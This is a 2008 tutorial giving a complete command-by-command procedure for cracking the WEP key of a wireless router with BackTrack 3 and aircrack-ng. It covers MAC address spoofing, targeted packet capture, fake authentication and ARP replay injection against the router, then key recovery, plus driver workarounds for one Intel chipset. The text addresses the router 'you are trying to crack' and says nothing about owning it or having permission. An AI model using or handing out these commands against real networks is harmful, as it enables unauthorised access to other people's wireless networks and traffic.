Cracking WEP keys with BackTrack 3
by Davis Remmel, August 2008 - V2.02

In the main body of this message is a list of shell commands that you should type in the terminal application. Notes are surrounded by brackets [] or are signified after what you type with the } symbol, and there are variables inside of the commands which need to be taken in for account which are marked with brackets {} and in bold. A variable list can be found below. Replace variables with appropriate components.

{wls} = Wireless client device. This is the Wi-fi device that you have in your computer (wlan0, eth0, rausb0, etc.).
{#ch} = Channel number. This is the channel number that the router you want to crack operates on.
{paste} = Paste. Right click and choose the "Paste" option, or just press Control+Insert.
{rnme} = Router's ESSID. This is the "name" of the router you are trying to crack.
{dmp} = IVT dump. This is the information you will use to crack the WEP key. I suggest the name of "dump".
{enc} = The number of bits the WEP key has. This is going to be 64 or 128. If one does not work, then try the other and it should.

Here is what you need to type in the terminal:

```
airmon-ng } SEARCH FOR WI-FI DEVICES CONNECTED TO YOUR COMPUTER
```

[A list of wireless devices will be listed, usually with names similar to wlan0, eth0, rausb0, etc. There should be one device per wireless card you have installed in your computer.]

```
airmon-ng stop {wls} } STOP YOUR COMPUTER'S WI-FI DEVICE FROM BEING IN MONITOR MODE
ifconfig {wls} down } POWER DOWN THE WIFI DEVICE
macchanger --mac 00:11:22:33:44:55 {wls} } CHANGE THE MAC ADDRESS OF YOUR WI-FI CARD
airmon-ng start {wls} } START YOUR COMPUTER'S WI-FI DEVICE
airodump-ng {wls} } SEARCH FOR WIRELESS ROUTERS
```

[Here, you want to find the BSSID, channel number, and the ESSID of the router you are trying to connect to. These items are labeled in a table format. Highlight the BSSID, xx:xx:xx:xx:xx:xx, right click it, then select "Copy". Stop the application from running by pressing Ctrl+C.]

```
airodump-ng -c {#ch} -w {dmp} --bssid {paste} {wls} } START A DUMP OF PACKETS
```

[Now, you should be thrown back to the previous screen, however, the number in the #DATA column should be rising. Also, make sure the power (PWR) level is above 10, or you will most likely receive bad packets. Without closing the current terminal, open a new terminal and go into it.]

```
aireplay-ng -1 0 -a {paste} -h 00:11:22:33:44:55 -e {rnme} {wls} } START AIREPLAY
```

[You should receive four lines of debug, with the last line reading that the association was successful, followed by a smiley emoticon.]

```
aireplay-ng -3 -b {paste} -h 00:11:22:33:44:55 {wls} } TELL AIREPLAY TO SEND OUT
                                                       PACKETS SO DATA COLLECTION
                                                       GETS DONE QUICKER
```

[There should be a line of text telling of packets being delivered. Keep this terminal window up, and switch back to the first terminal window. The #DATA will be increasing at a much higher rate than before. Leave everything alone until the #DATA reaches over 10,000. It is highly advised to leave everything alone until the #DATA increases to 25,000. Once you feel enough packets have been delivered (the #DATA number) open a new terminal, and go into it.]

```
aircrack-ng -n {enc} -b {paste} {dmp}-01.cap } START CRACKING THE WEP USING THE DUMP
```

[The WEP key should be displayed in the terminal. Once you have this with 100% accuracy, try to log into the router using it. If it's a success, congratulations! If not, repeat everything.]

[Connecting with special or uneasy chipsets]

Intel Centrino 3945AGB chipset

Usually when trying reinitialize your wireless chip, the command line will return an error saying that you need to install a program. This is not true. Below are instructions for stopping, changing the MAC address, and reinitializing the Intel 3945ABG chipset.

```
modprobe -r iwl3945 } THESE COMMANDS WILL ALLOW YOU TO ENABLE MONITOR MODE ON THE
modprobe ipwraw     } INTEL 3945ABG WIRELESS CHIPSET

iwconfig
```

[Take note of your wireless adapter's interface name. This will usually stand out, as it will have a massice amount of text by it. The most common interface name for the Intel 3945AGB chipset is "wifi0". Now you can continue with the instructions above starting with the following command:]

```
airmon-ng stop {wls}
```